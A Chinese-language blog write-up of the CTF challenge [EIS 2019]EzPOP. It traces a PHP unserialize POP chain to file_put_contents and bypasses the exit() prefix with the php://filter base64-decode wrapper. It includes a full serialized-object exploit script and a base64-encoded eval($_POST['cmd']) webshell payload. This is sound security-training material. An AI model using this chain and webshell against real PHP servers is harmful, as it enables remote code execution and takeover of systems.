[EIS 2019]EzPOP

[EIS 2019]EzPOP

[EIS 2019]EzPOP - 天水麒麟儿 - 博客园这篇wp我感觉看的最明白,思路很舒服

总结这道题目就是在考些php特性

代码分析

首先拿到源码看到unserialize然后看到两个类,第一反应那就是反序列化了,直接找出口

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

然后顺手看了看,并没有几个魔术方法,也就__construct__destruct,那入口就锁定

重新看上面的那个文件写操作,格式化一个12位宽度的字符串,但是会被注释掉,所以无论$expire传入了什么,其实都只会执行了exit(),然后也没后面的$data什么事了。

这里想绕过这个死亡exit的方法,那就是利用file_put_contents和伪协议搭配,比如:

file_put_contents("php://filter/write=convert.base64-decode/resource=./uploads/shell.php",$data)

这时候会将$data中的内容base64解码后写入shell.php中,也就成功绕过了

那就开始追pop链

$expire没什么用只接受int类型,追$data

options['data_compress']==0即可绕过

if ($this->options['data_compress'] && function_exists('gzcompress')) {
    //数据压缩
    $data = gzcompress($data, 3);
}

继续往上看,值经过serialize函数,是从$value得到的。跟进去看看,$data肯定不是数字,让$this->options['serialize'] = 'strval'或者trim,可以让$data毫发无伤出来

 $data = $this->serialize($value);

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this->options['serialize'];

    return $serialize($data);
}

然后就是看$filename,由一个函数,跟进去看看,发现是做一个拼接功能,这不就舒服了吗?可以拼接伪协议

$filename = $this->getCacheKey($name);


public function getCacheKey(string $name): string {
    return $this->options['prefix'] . $name;
}

好了现在得知信息是:

$filename的值由$name传入

$data的值由$value传入

$expire的值由$expire传入(没用的东西)

这都是从set函数来的,要从class A 触发class B 中的set函数

到class A 中看看,吻合了需要的东西,反序列化最终触发destruct,然后触发save,再触发B->set就能传值了。其中$key $expire可控,看 $contents

追进去 getForStorage方法,里面的cleanContents只让传入数组,如果不是数组嵌套数组就直接返回原来的$cache又是可控的,下班!

public function getForStorage() {
    $cleaned = $this->cleanContents($this->cache);

    return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);//$name, $value, $expire
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}

exp

<?php
error_reporting(0);

class A {
    protected $store;
    protected $key = 'a.php';
    protected $expire = null;
    public $autosave = 0;
    public $cache = array('path111'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr");
    public $complete = 1;
    public function __construct($store) {
        $this->store = $store;
    }
}

class B {
    public $options = array('data_compress'=>0, 'expire'=> 0,
        'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",
        'serialize'=>'strval');
}
$b = new B;
$a = new A($b);

echo urlencode(serialize($a));

exp这里要注意到两个地方:

首先

一是被base64解密的整个语句中,马之前的字数要为4的倍数。大伙可以本地测试一下。那为什么要4的倍数,因为base64加密是原文每3个字节转为对应密码4个字节的过程。

那反过来解密就是4->3的过程。我们不能破坏掉一句话马的完整性,所以需要前面的字符数量为4的倍数

<?php
$half="<?php\n//" ."000000000000"."\n exit();?>\n".'[{"path111":"';
echo strlen($half)."\n";//刚好凑齐4的倍数28

$shell='PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmFh"},1]';
//$shell='PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="},1]';
$all= $half.$shell;
echo base64_decode( $all);
$filename="php://filter/write=convert.base64-decode/resource=./a.php";
file_put_contents($filename, $all);
//第一个shell生成的a.php->   ¦ÿM4ÓM4ÓM4Ñìb¶–­‡]u<?php eval($_POST['cmd']);?>aa
//第二个shell生成的a.php->  什么都没有 

image-20241221203535646

其次

注意到上面解码后的是<?php eval($_POST['cmd']);?>aa为什么需要在后面添加aa?这就和file_put_contents与伪协议的结合导致的。

如果是形如base64的标志==结尾后,还跟随着一堆合法字符,那直接写入失败。

如果并不是==结尾的话,后面跟任意合法字符都可以成功写入。

而==是为了解决原文字符不是3的倍数生成的。那补齐原文为3的倍数即可

image-20241221181923195

posted @ 2024-12-21 20:59  eth258  阅读(2)  评论(0编辑  收藏  举报